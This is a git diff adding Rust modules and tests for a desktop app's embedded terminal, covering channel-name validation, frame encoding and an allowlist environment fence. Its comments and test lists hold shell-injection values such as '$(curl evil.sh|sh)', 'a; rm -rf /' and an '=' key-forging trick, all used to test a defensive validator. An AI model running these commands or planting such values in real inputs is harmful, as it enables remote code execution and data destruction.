diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context.rs b/desktop/src-tauri/crates/buzz-terminal/src/context.rs
new file mode 100644
index 0000000000..012fbb4e65
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/context.rs
@@ -0,0 +1,103 @@
+//! GUI context injected into the child shell.
+//!
+//! The terminal knows which channel and thread the user is looking at, so a
+//! script in the substrate can act on it. That context crosses a trust
+//! boundary: a channel *name* is attacker-controlled — anyone who can create
+//! a channel picks the string — and it lands in an environment variable that
+//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
+//! channel named `$(curl evil.sh|sh)` into command execution the moment the
+//! user opens a terminal.
+//!
+//! Two rules follow, and the second one is the load-bearing one:
+//!
+//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
+//!    endless negotiation with an attacker who chooses the input. We accept a
+//!    conservative character class and reject everything else.
+//! 2. **On rejection, substitute — never strip.** A stripped name is still a
+//!    name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
+//!    `evil`, which looks like a real channel. We substitute the channel UUID,
+//!    which is unambiguous, always safe, and visibly not a name — the user can
+//!    tell something was replaced.
+
+/// Maximum accepted channel-name length, in characters.
+const MAX_CHANNEL_NAME_CHARS: usize = 64;
+
+/// The GUI state a spawned terminal is told about.
+#[derive(Debug, Clone)]
+pub struct GuiContext {
+    pub channel_id: String,
+    pub channel_name: String,
+    pub thread_id: Option<String>,
+    pub npub: String,
+    pub relay_url: String,
+    pub session_id: String,
+}
+
+/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
+///
+/// Unicode letters, digits and marks are accepted so non-Latin channel names
+/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
+/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
+/// class and therefore rejected rather than removed.
+fn is_safe_channel_name(name: &str) -> bool {
+    !name.is_empty()
+        && name.chars().count() <= MAX_CHANNEL_NAME_CHARS
+        && name
+            .chars()
+            .all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
+}
+
+/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
+/// the channel UUID.
+pub fn channel_display(context: &GuiContext) -> &str {
+    if is_safe_channel_name(&context.channel_name) {
+        &context.channel_name
+    } else {
+        &context.channel_id
+    }
+}
+
+/// Returns true if `key` is a well-formed POSIX env var name:
+/// `[A-Za-z_][A-Za-z0-9_]*`.
+///
+/// Mirrors `is_well_formed_env_key` in the desktop crate
+/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
+/// `CommandBuilder::env` will pass a key containing `=` straight into the
+/// child's environ block, where `getenv("FOO")` matches whatever follows the
+/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
+/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
+/// forge a variable the fence otherwise controls.
+///
+/// Every key we inject is a compile-time literal today, so this cannot fire
+/// yet. It is here because the *next* injected key may not be: the check
+/// belongs at the boundary, not in the reviewer's memory.
+pub fn is_well_formed_env_key(key: &str) -> bool {
+    let mut chars = key.chars();
+    match chars.next() {
+        Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
+        _ => return false,
+    }
+    chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
+}
+
+/// The context variables to inject, in order.
+///
+/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
+/// always the UUID, so a script that needs an unambiguous identifier has one
+/// that no channel name can spoof.
+pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
+    let mut vars = vec![
+        ("BUZZ_CHANNEL_ID", context.channel_id.clone()),
+        ("BUZZ_CHANNEL", channel_display(context).to_owned()),
+        ("BUZZ_NPUB", context.npub.clone()),
+        ("BUZZ_RELAY_URL", context.relay_url.clone()),
+        ("BUZZ_TERM_SESSION", context.session_id.clone()),
+        ("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
+    ];
+    // Absent rather than empty when the user is not in a thread: `-n
+    // "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
+    if let Some(thread_id) = &context.thread_id {
+        vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
+    }
+    vars
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs
new file mode 100644
index 0000000000..1c48c8e78a
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs
@@ -0,0 +1,139 @@
+//! T-1: the channel name is attacker-controlled and reaches a shell.
+
+use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
+
+const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
+
+fn context_named(channel_name: &str) -> GuiContext {
+    GuiContext {
+        channel_id: UUID.to_owned(),
+        channel_name: channel_name.to_owned(),
+        thread_id: None,
+        npub: "npub1example".to_owned(),
+        relay_url: "wss://relay.example".to_owned(),
+        session_id: "session-1".to_owned(),
+    }
+}
+
+/// Ordinary names survive intact, including non-Latin scripts. A validator
+/// that rejected these would be "safe" and useless.
+#[test]
+fn benign_channel_names_pass_through_unchanged() {
+    for name in [
+        "buzz-tui",
+        "General Chat",
+        "release_2.0",
+        "日本語チャンネル",
+        "Ünicode Ñames",
+    ] {
+        let context = context_named(name);
+        assert_eq!(channel_display(&context), name, "rejected a benign name");
+    }
+}
+
+/// Shell metacharacters are rejected — and the substitute is the UUID, not a
+/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
+/// indistinguishable from a real channel called `evil`.
+#[test]
+fn hostile_channel_names_are_replaced_by_the_uuid() {
+    for name in [
+        "$(curl evil.sh|sh)",
+        "`id`",
+        "a; rm -rf /",
+        "a\nPS1=pwned",
+        "a$IFS$9",
+        "x=y",
+        "'; echo pwned; '",
+        "a\0b",
+    ] {
+        let context = context_named(name);
+        let shown = channel_display(&context);
+        assert_eq!(
+            shown, UUID,
+            "hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
+        );
+    }
+}
+
+/// The substitution must be *whole*, not a filtered version of the input. A
+/// strip-sanitizer passes the "no metacharacters" check while still echoing
+/// attacker-chosen text.
+#[test]
+fn rejection_substitutes_rather_than_strips() {
+    let context = context_named("$(curl evil.sh|sh)");
+    let shown = channel_display(&context);
+    assert!(
+        !shown.contains("curl") && !shown.contains("evil"),
+        "attacker-chosen text survived rejection: {shown:?}"
+    );
+}
+
+/// Over-long names are rejected: an env var is not a place for unbounded
+/// attacker input, and a 10 KB prompt is its own denial of service.
+#[test]
+fn over_long_channel_names_are_replaced() {
+    let context = context_named(&"a".repeat(65));
+    assert_eq!(channel_display(&context), UUID);
+    let ok = context_named(&"a".repeat(64));
+    assert_eq!(channel_display(&ok), "a".repeat(64));
+}
+
+/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
+/// channel name can spoof — including a channel *named* like a UUID.
+#[test]
+fn channel_id_is_never_the_name() {
+    let context = context_named("11111111-2222-3333-4444-555555555555");
+    let vars = context_vars(&context);
+    let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
+    assert_eq!(
+        id.1, UUID,
+        "a UUID-shaped channel name displaced the real id"
+    );
+}
+
+/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
+#[test]
+fn thread_id_is_absent_when_there_is_no_thread() {
+    let vars = context_vars(&context_named("buzz-tui"));
+    assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
+
+    let mut context = context_named("buzz-tui");
+    context.thread_id = Some("thread-1".to_owned());
+    let vars = context_vars(&context);
+    assert_eq!(
+        vars.iter()
+            .find(|(k, _)| *k == "BUZZ_THREAD_ID")
+            .map(|(_, v)| v.as_str()),
+        Some("thread-1")
+    );
+}
+
+/// Every injected key must be POSIX-shaped. A key containing `=` would let
+/// the value forge a second variable in the child's environ block.
+#[test]
+fn every_injected_key_is_well_formed() {
+    for (key, _) in context_vars(&context_named("buzz-tui")) {
+        assert!(
+            is_well_formed_env_key(key),
+            "malformed injected key: {key:?}"
+        );
+    }
+}
+
+/// The guard itself, including the bypass shape it exists for.
+#[test]
+fn well_formed_key_rejects_the_equals_bypass() {
+    for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
+        assert!(is_well_formed_env_key(good), "rejected {good:?}");
+    }
+    for bad in [
+        "BUZZ_CHANNEL=x",
+        "",
+        "1LEADING_DIGIT",
+        "HAS SPACE",
+        "HAS\0NUL",
+        "kebab-case",
+    ] {
+        assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/damage.rs b/desktop/src-tauri/crates/buzz-terminal/src/damage.rs
new file mode 100644
index 0000000000..0cc41e1685
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/damage.rs
@@ -0,0 +1,483 @@
+//! Turning grid changes into frames for the renderer.
+//!
+//! Two rules shape this module, both measured:
+//!
+//! 1. **Nothing but reading and copying happens under the `Term` lock.** The
+//!    caller copies rows out; encoding, hashing and serializing run after the
+//!    lock is released. Encoding inline costs ~75x in lock hold.
+//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every
+//!    call, so an idle terminal reports damage nearly every frame. Per-line
+//!    content hashing suppresses those, so the transport never sees a no-op.
+//!
+//! # Why a frame is the whole viewport
+//!
+//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls
+//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom
+//! row damages the whole grid. Partial damage is effectively the idle cursor.
+//!
+//! That is fine, and the reason is worth having here rather than in a review
+//! thread. A full frame is O(viewport) *by construction* -- the grid is itself
+//! the coalescing buffer -- so its cost does not depend on how fast the child
+//! writes. Measured on a 200x50 grid, bytes per frame across four orders of
+//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines
+//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a
+//! slow build log. Constant to three digits.
+//!
+//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded,
+//! and at 45,759 lines/frame it would ship ~915x more data than the full grid
+//! it was optimising. It wins where nobody is watching and loses under `cat`.
+//!
+//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at
+//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s).
+//! 400x100 is roughly 4x a typical maximised window and is where this decision
+//! should be re-measured -- as a serialization/IPC question, not a damage one.
+//!
+//! Dedup earns its place in the interactive case rather than the streaming one:
+//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across
+//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing
+//! one -- it is what the substrate does while sitting behind the GUI untouched.
+
+use std::collections::hash_map::DefaultHasher;
+use std::hash::{Hash, Hasher};
+
+use alacritty_terminal::grid::Dimensions;
+use alacritty_terminal::index::{Column, Line};
+use alacritty_terminal::term::cell::{Cell, Flags};
+use alacritty_terminal::term::TermDamage;
+
+/// A run of cells sharing one visual style **and one cell width**.
+///
+/// # Why the consumer can position every cluster without Unicode tables
+///
+/// The renderer must place each display cluster at its true column, and it
+/// cannot derive that from the text: no single split rule over a concatenated
+/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two
+/// ordinary one-column cells, so it must split *per codepoint*; a keycap
+/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split
+/// *per grapheme*. Those rules disagree, and the distinction lives in the grid,
+/// not in the string.
+///
+/// So the run carries it instead. Within a span every cluster advances the same
+/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count)
+/// says how many clusters the text holds. The consumer's rule is arithmetic on
+/// those two numbers, with no Unicode table anywhere:
+///
+/// ```text
+/// cluster_count == 1  -> the whole text is one cluster, at `column`
+/// otherwise           -> cluster i is the i-th char, at `column + i * width`
+/// ```
+///
+/// The second case is exact because a cell carrying zerowidth marks is always
+/// emitted alone, so every cell in a multi-cluster span contributes exactly one
+/// `char`.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct Span {
+    /// First column of the run.
+    pub column: usize,
+    /// The run's text. Grapheme clusters are kept whole: a cell's zerowidth
+    /// combining marks follow its base character, so the renderer never sees
+    /// a base and its accent as separate glyphs.
+    pub text: String,
+    /// Columns each cluster in this run occupies: 1, or 2 for wide glyphs.
+    ///
+    /// Uniform across the run by construction -- a width change ends the span.
+    /// This is what lets the consumer position clusters by computed origin
+    /// rather than by accumulated text advance.
+    pub width: u8,
+    /// How many display clusters [`text`](Self::text) holds.
+    ///
+    /// Without this the consumer cannot distinguish a one-cluster span carrying
+    /// combining marks from an ordinary multi-character run, and would need a
+    /// Unicode zerowidth table to guess. The grid already knows, so it says.
+    pub cluster_count: u16,
+    /// Packed style: fg, bg, and attribute flags.
+    pub style: Style,
+}
+
+impl Span {
+    /// The decoding invariant, stated once: a span is either a single cluster
+    /// (which may hold several `char`s, as a keycap or an accented letter
+    /// does) or one cluster per `char`.
+    ///
+    /// Exposed so consumers can assert it at a trust boundary rather than
+    /// restate it. The encoder checks it in debug builds on every frame.
+    pub fn counts_are_consistent(&self) -> bool {
+        self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count()
+    }
+}
+
+/// Visual style of a span, as the renderer needs it.
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
+pub struct Style {
+    pub fg: u32,
+    pub bg: u32,
+    pub flags: u16,
+}
+
+/// One changed row.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct RowFrame {
+    pub line: usize,
+    pub spans: Vec<Span>,
+}
+
+/// The cursor, carried separately from row content.
+///
+/// Upstream damages the cursor's line on every `damage()` call. If the cursor
+/// travelled inside the row payload, every frame would carry a row rewrite for
+/// a caret that moved one column. As its own plane it costs a few bytes and
+/// leaves row dedup free to suppress the row.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct CursorFrame {
+    pub line: usize,
+    pub column: usize,
+    pub visible: bool,
+}
+
+/// One update for the renderer.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct Frame {
+    pub rows: Vec<RowFrame>,
+    pub cursor: CursorFrame,
+    /// Whether the cursor plane changed since this encoder's previous frame.
+    /// Cursor movement can be the only visible effect of input (for example,
+    /// echoing a space over an already blank cell), so it independently makes
+    /// an incremental frame publishable.
+    pub cursor_changed: bool,
+    /// Whether the renderer should discard what it has and repaint.
+    pub full: bool,
+    /// The grid this frame describes. A change means the terminal was resized
+    /// and row indices refer to a different geometry than the previous frame's.
+    /// Carried so the consumer can detect that from the frame itself instead of
+    /// trusting that no resize overtook it in flight -- across a transport, a
+    /// frame captured before a resize can arrive after it.
+    pub viewport: crate::Viewport,
+}
+
+impl Frame {
+    /// True when there is nothing for the renderer to do.
+    pub fn is_empty(&self) -> bool {
+        self.rows.is_empty() && !self.cursor_changed && !self.full
+    }
+}
+
+/// Raw rows copied out from under the lock, awaiting encode.
+pub struct RawFrame {
+    rows: Vec<(usize, Vec<Cell>)>,
+    cursor: CursorFrame,
+    full: bool,
+    viewport: crate::Viewport,
+}
+
+/// The grid line a screen row reads from.
+///
+/// The grid indexes the active area from 0 and scrollback with *negative*
+/// lines, so scrolling back `n` lines means every screen row reads `n` lines
+/// higher. At the live edge the offset is zero and this is the identity, which
+/// is why the unscrolled path is unchanged rather than merely equivalent.
+fn row_of(screen_row: usize, display_offset: usize) -> Line {
+    Line(screen_row as i32 - display_offset as i32)
+}
+
+/// Where the cursor sits on screen, given how far the viewport is scrolled
+/// back.
+///
+/// The grid keeps the cursor in *active-area* coordinates, which do not move
+/// when the user scrolls; the renderer paints *screen rows*, which do. The two
+/// agree only at the live edge, so the conversion has to happen somewhere, and
+/// it happens here rather than in the renderer -- the renderer is not told the
+/// display offset, and giving it one would put this same arithmetic on the far
+/// side of a transport.
+///
+/// Scrolling far enough pushes the cursor off the bottom of the viewport, and
+/// then it is reported as not visible. Without that clamp a caret drawn at a
+/// clamped row would sit on some unrelated line of history, which reads as
+/// corruption rather than as scrollback.
+fn cursor_frame(
+    cursor_point: alacritty_terminal::index::Point,
+    display_offset: usize,
+    screen_lines: usize,
+    shown: bool,
+) -> CursorFrame {
+    let line = cursor_point.line.0.max(0) as usize + display_offset;
+    CursorFrame {
+        line: line.min(screen_lines.saturating_sub(1)),
+        column: cursor_point.column.0,
+        visible: shown && line < screen_lines,
+    }
+}
+
+/// Copy the damaged rows out of the terminal. **Runs under the lock; does no
+/// encoding.** Keep this function boring — everything added here is lock hold.
+pub fn capture(terminal: &mut crate::Terminal) -> RawFrame {
+    let viewport = terminal.viewport();
+    let display_offset = terminal.display_offset();
+    let term = terminal.term_mut();
+    let columns = term.columns();
+    let screen_lines = term.screen_lines();
+    let cursor_point = term.grid().cursor.point;
+    let shown = term
+        .mode()
+        .contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
+
+    // Upstream's partial iterator already reports **screen** rows: it offsets
+    // each damaged active-area line by the display offset and drops the ones
+    // that scrolling pushed off the bottom (`TermDamageIterator::new`). So both
+    // arms below speak the same coordinate, and `row_of` converts once.
+    let (lines, full) = match term.damage() {
+        TermDamage::Full => ((0..screen_lines).collect::<Vec<_>>(), true),
+        TermDamage::Partial(iter) => (
+            iter.map(|bounds| bounds.line)
+                .filter(|l| *l < screen_lines)
+                .collect(),
+            false,
+        ),
+    };
+
+    let grid = term.grid();
+    let mut rows = Vec::with_capacity(lines.len());
+    for line in lines {
+        let row = &grid[row_of(line, display_offset)];
+        rows.push((line, row[..Column(columns)].to_vec()));
+    }
+    let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
+
+    term.reset_damage();
+    RawFrame {
+        rows,
+        cursor,
+        full,
+        viewport,
+    }
+}
+
+/// Copy the **entire visible viewport**, leaving damage untouched.
+///
+/// This exists for subscribers that arrive mid-stream: attach, reattach, and
+/// the successor side of a resize. Damage only describes what changed since
+/// the last capture, so a newcomer that starts from [`capture`] sees whatever
+/// happened to change next -- often just the cursor's line -- painted onto a
+/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder
+/// cannot ask for a full frame that way.
+///
+/// **It must not consume damage, and that is the load-bearing property.** The
+/// incumbent subscriber's next [`capture`] has to still see its rows. If this
+/// called `damage()`/`reset_damage()` it would steal them, and the incumbent
+/// would freeze on stale content while a newcomer's full-frame test passed.
+/// The absence of those two calls below is the mechanism; `snapshot_test.rs`
+/// is the proof.
+///
+/// **Runs under the lock; does no encoding.** Costs a full grid copy rather
+/// than a damaged-rows copy, so it belongs on attach, not in the frame loop.
+pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame {
+    let viewport = terminal.viewport();
+    let display_offset = terminal.display_offset();
+    let term = terminal.term_mut();
+    let columns = term.columns();
+    let screen_lines = term.screen_lines();
+    let cursor_point = term.grid().cursor.point;
+    let shown = term
+        .mode()
+        .contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
+
+    let grid = term.grid();
+    let mut rows = Vec::with_capacity(screen_lines);
+    for line in 0..screen_lines {
+        let row = &grid[row_of(line, display_offset)];
+        rows.push((line, row[..Column(columns)].to_vec()));
+    }
+    let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
+
+    // No `damage()` and no `reset_damage()`: see the note above.
+    RawFrame {
+        rows,
+        cursor,
+        // A snapshot *is* a repaint, and marking it full also resets the
+        // consumer's `Encoder` hashes, so its dedup state describes the grid it
+        // was actually given rather than a predecessor's.
+        full: true,
+        viewport,
+    }
+}
+
+/// Suppresses rows whose content did not actually change.
+#[derive(Default)]
+pub struct Encoder {
+    hashes: Vec<u64>,
+    cursor: Option<CursorFrame>,
+}
+
+impl Encoder {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    /// Encode a captured frame. **Runs with the lock released.**
+    pub fn encode(&mut self, raw: RawFrame) -> Frame {
+        // A full frame invalidates the dedup cache. Both routes that produce
+        // one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize,
+        // where the cached hashes describe rows of a different width entirely.
+        if raw.full {
+            self.hashes.clear();
+        }
+        let mut rows = Vec::with_capacity(raw.rows.len());
+        for (line, cells) in raw.rows {
+            let hash = hash_cells(&cells);
+            if self.hashes.len() <= line {
+                self.hashes.resize(line + 1, 0);
+            }
+            if self.hashes[line] == hash {
+                continue;
+            }
+            self.hashes[line] = hash;
+            rows.push(RowFrame {
+                line,
+                spans: spans(&cells),
+            });
+        }
+        let cursor_changed = self.cursor != Some(raw.cursor);
+        self.cursor = Some(raw.cursor);
+        Frame {
+            rows,
+            cursor: raw.cursor,
+            cursor_changed,
+            full: raw.full,
+            viewport: raw.viewport,
+        }
+    }
+}
+
+fn hash_cells(cells: &[Cell]) -> u64 {
+    let mut hasher = DefaultHasher::new();
+    for cell in cells {
+        cell.c.hash(&mut hasher);
+        // Hash the *packed* colors, not the enum: this is the representation
+        // the renderer receives, so the dedup key cannot disagree with the
+        // wire encoding and suppress a row that actually changed on screen.
+        pack_color(cell.fg).hash(&mut hasher);
+        pack_color(cell.bg).hash(&mut hasher);
+        cell.flags.bits().hash(&mut hasher);
+        if let Some(zerowidth) = cell.zerowidth() {
+            zerowidth.hash(&mut hasher);
+        }
+    }
+    hasher.finish()
+}
+
+/// Group a row's cells into runs of uniform style and width.
+///
+/// A run continues only while style *and* width match, and a cell carrying
+/// zerowidth marks is always emitted alone. Both breaks exist so the consumer
+/// can compute each cluster's column as `column + i * width`; see [`Span`].
+///
+/// The width comparison is the only thing keeping widths uniform within a run:
+/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot
+/// break a run on width behind this check's back.
+fn spans(cells: &[Cell]) -> Vec<Span> {
+    let mut spans: Vec<Span> = Vec::new();
+    // Whether the run in progress may still be extended. Kept here rather than
+    // on `Span` because it is grouping bookkeeping, not part of the wire shape.
+    let mut open = false;
+    for (column, cell) in cells.iter().enumerate() {
+        // A wide glyph occupies two cells: the character, then a spacer. The
+        // spacer carries no text of its own -- emitting its placeholder space
+        // would insert a phantom column after every CJK character or emoji.
+        if cell.flags.contains(Flags::WIDE_CHAR_SPACER) {
+            continue;
+        }
+        let style = style_of(cell);
+        let width = if cell.flags.contains(Flags::WIDE_CHAR) {
+            2
+        } else {
+            1
+        };
+        let zerowidth = cell.zerowidth();
+        let mut text = String::new();
+        text.push(cell.c);
+        if let Some(marks) = zerowidth {
+            text.extend(marks);
+        }
+
+        // A cluster with combining marks holds more `char`s than columns, so it
+        // cannot share a run: it is the one case where "one char per cluster"
+        // stops holding.
+        let joinable = zerowidth.is_none();
+        match spans.last_mut() {
+            // `cluster_count` is refused rather than wrapped when it would
+            // overflow: the run simply ends and a new span starts at this
+            // column, which the consumer's rule already handles.
+            Some(last)
+                if open
+                    && joinable
+                    && last.style == style
+                    && last.width == width
+                    && last.cluster_count < u16::MAX =>
+            {
+                last.text.push_str(&text);
+                last.cluster_count += 1;
+            }
+            _ => spans.push(Span {
+                column,
+                text,
+                width,
+                cluster_count: 1,
+                style,
+            }),
+        }
+        open = joinable;
+    }
+    // Enforced in release, not just in debug. This is a *wire* invariant: a
+    // span that violates it is undecodable by the rule in [`Span`], and the
+    // consumer's failure is silent misplacement of every cluster after it.
+    // A `debug_assert` here would vanish in exactly the build where that
+    // corruption ships. The cost is one pass over text already in cache --
+    // the same order as building the spans -- and it buys a loud, local
+    // failure instead of a renderer quietly drawing the wrong columns.
+    assert!(
+        spans.iter().all(Span::counts_are_consistent),
+        "cluster_count must be 1 or the span's char count"
+    );
+    spans
+}
+
+/// Flags describing where a cell sits in the grid rather than how it looks.
+///
+/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char
+/// bits mark a two-column glyph and its spacer. Neither says anything about
+/// appearance.
+///
+/// These are excluded from [`Style`] so the style key means one thing: visual
+/// attributes. Geometry travels in [`Span::width`], which is compared on its
+/// own when grouping -- if these bits stayed in the key they would break runs
+/// as a side effect and leave the width comparison untestable.
+///
+/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are
+/// deliberately not masked: those are appearance.
+const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE
+    .union(Flags::WIDE_CHAR)
+    .union(Flags::WIDE_CHAR_SPACER)
+    .union(Flags::LEADING_WIDE_CHAR_SPACER);
+
+fn style_of(cell: &Cell) -> Style {
+    Style {
+        fg: pack_color(cell.fg),
+        bg: pack_color(cell.bg),
+        flags: cell.flags.difference(GEOMETRY_FLAGS).bits(),
+    }
+}
+
+/// Pack a color into a tagged u32 the renderer resolves against the theme.
+///
+/// Named and indexed colors stay symbolic rather than being resolved here:
+/// the substrate must follow the user's chosen theme, so the palette belongs
+/// to the renderer, not to a snapshot taken at damage time.
+fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 {
+    use alacritty_terminal::vte::ansi::Color;
+    match color {
+        Color::Named(named) => 0x0100_0000 | named as u32,
+        Color::Indexed(index) => 0x0200_0000 | index as u32,
+        Color::Spec(rgb) => {
+            0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32
+        }
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs
new file mode 100644
index 0000000000..2430d54a4a
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs
@@ -0,0 +1,85 @@
+//! Environment fence for spawned PTY children.
+//!
+//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
+//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
+//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
+//! `:74`), so a shell spawned with the default builder inherits **all** of it:
+//! the user types `env` and reads the signing key off the screen.
+//!
+//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
+//! demonstrates the failure mode this module exists to prevent. It removed
+//! seven Hermit/macOS keys by denylist under a comment promising "a clean
+//! environment" and passed 68 variables — including the nsec — to the child.
+//! A denylist is only as current as the last time someone remembered to
+//! extend it; it was correct for the polluted-`PATH` threat it was written
+//! for and became a key-disclosure bug when the app started holding secrets.
+//!
+//! So: **allowlist, never denylist.** Clear the inherited environment
+//! wholesale, then rebuild only what a terminal legitimately needs.
+
+use portable_pty::CommandBuilder;
+
+/// Keys the child is allowed to inherit from Buzz's own environment.
+///
+/// Deliberately minimal: each entry is something a shell genuinely cannot
+/// function without, or that visibly degrades the session by its absence.
+/// Anything not listed here does not reach the child, including keys that do
+/// not exist yet — which is the property a denylist cannot offer.
+const INHERIT_ALLOWLIST: &[&str] = &[
+    "HOME",     // shell startup files, ~ expansion
+    "USER",     // prompt expansion, `whoami`-adjacent tooling
+    "LOGNAME",  // POSIX companion to USER
+    "LANG",     // UTF-8 decoding of the child's own output
+    "LC_ALL",   // explicit locale override, when set
+    "LC_CTYPE", // character classification; wide/emoji handling
+    "TZ",       // timestamps in prompts and logs
+    "TMPDIR",   // per-user temp dir; absence breaks many tools on macOS
+];
+
+/// Values Buzz sets on the child unconditionally, overriding any inherited
+/// value. `TERM` in particular must describe *our* emulator, not whatever
+/// terminal happened to launch the desktop app.
+const OVERRIDES: &[(&str, &str)] = &[
+    ("TERM", "xterm-256color"),
+    ("TERM_PROGRAM", "Buzz"),
+    ("COLORTERM", "truecolor"),
+];
+
+/// Applies the environment fence to `cmd`, returning it for chaining.
+///
+/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
+/// discards every accumulated entry, so clearing *after* populating yields a
+/// child with an empty environment and no error anywhere. Clear first, then
+/// rebuild.
+///
+/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
+/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
+/// actually spawn are different values in exactly the cases the resolution
+/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
+/// `$SHELL` that fails the executable-regular-file check — so inheriting it
+/// would tell the child it is running something it is not.
+pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
+    // 1. Drop the inherited environment wholesale, secrets included.
+    cmd.env_clear();
+
+    // 2. Rebuild only the allowlisted keys that are actually present.
+    for key in INHERIT_ALLOWLIST {
+        if let Some(value) = std::env::var_os(key) {
+            cmd.env(key, value);
+        }
+    }
+
+    // 3. Apply Buzz's own terminal identity.
+    for (key, value) in OVERRIDES {
+        cmd.env(key, value);
+    }
+
+    // 4. PATH is supplied by the caller rather than inherited; see
+    //    `path::user_shell_path`.
+    cmd.env("PATH", path);
+
+    // 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
+    //    `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
+    //    explicit entry is the one the child sees.
+    cmd.env("SHELL", shell);
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs
new file mode 100644
index 0000000000..59e94a1f63
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs
@@ -0,0 +1,362 @@
+//! Secret-leak gate for the environment fence.
+//!
+//! These tests spawn a real PTY child and read its actual environment. An
+//! assertion against the `CommandBuilder` alone would be weaker: it would not
+//! prove that what the builder holds is what the kernel hands the child.
+
+use crate::env_fence::fence_env;
+use crate::path::user_shell_path;
+use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
+use portable_pty::{native_pty_system, CommandBuilder, PtySize};
+use std::io::Read;
+
